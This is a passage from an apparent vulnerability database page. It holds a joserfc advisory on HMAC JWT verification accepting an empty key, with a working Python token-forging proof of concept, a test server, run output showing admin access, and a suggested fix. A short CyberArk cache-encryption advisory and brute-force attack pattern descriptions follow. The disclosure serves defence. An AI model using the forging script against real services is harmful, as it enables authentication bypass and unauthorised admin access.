`HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n   attacker computed exactly that digest with the same empty key, so\n   `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n    \"sub\": \"attacker\", \"admin\": True,\n    \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n    auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n    token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n    key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))  # default = \"\"\n    try:\n        tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n        c = tok.claims\n        body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [body]\n    except Exception as e:\n        start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n        return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n#    state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026   # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub=\u0027attacker\u0027 admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration                | Observed                            | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\")   | HTTP 200, `admin=True` (verified)   | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError`       | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker\u0027s token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n  to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n  forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n  not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n  should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n  operator-misconfiguration precondition; impact otherwise matches\n  authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if not key.raw_value:\n        raise ValueError(\"oct key material must not be empty\")\n    if len(key.raw_value) \u003c 14:\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n    ...\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0\u0027s approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-gg9x-qcx2-xmrh",
  "modified": "2026-07-02T19:12:08Z",
  "published": "2026-07-02T19:12:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/joserfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)"
}

GHSA-GGHC-6WPQ-RR46

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-07-13 00:01
VLAI
Details

The effective key space used to encrypt the cache in CyberArk Credential Provider prior to 12.1 has low entropy, and under certain conditions a local malicious user can obtain the plaintext of cache files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-02T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The effective key space used to encrypt the cache in CyberArk Credential Provider prior to 12.1 has low entropy, and under certain conditions a local malicious user can obtain the plaintext of cache files.",
  "id": "GHSA-gghc-6wpq-rr46",
  "modified": "2022-07-13T00:01:25Z",
  "published": "2022-05-24T19:12:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31798"
    },
    {
      "type": "WEB",
      "url": "https://korelogic.com/Resources/Advisories/KL-001-2021-010.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.cyberark.com/resources/blog"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/164035/CyberArk-Credential-Provider-Local-Cache-Decryption.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/Sep/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Use an encryption scheme that is currently considered to be strong by experts in the field.

CAPEC-112: Brute Force

In this attack, some asset (information, functionality, identity, etc.) is protected by a finite secret value. The attacker attempts to gain access to this asset by using trial-and-error to exhaustively explore all the possible secret values in the hope of finding the secret (or a value that is functionally equivalent) that will unlock the asset.

CAPEC-192: Protocol Analysis

An adversary engages in activities to decipher and/or decode protocol information for a network or application communication protocol used for transmitting information between interconnected nodes or systems on a packet-switched data network. While this type of analysis involves the analysis of a networking protocol inherently, it does not require the presence of an actual or physical network.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.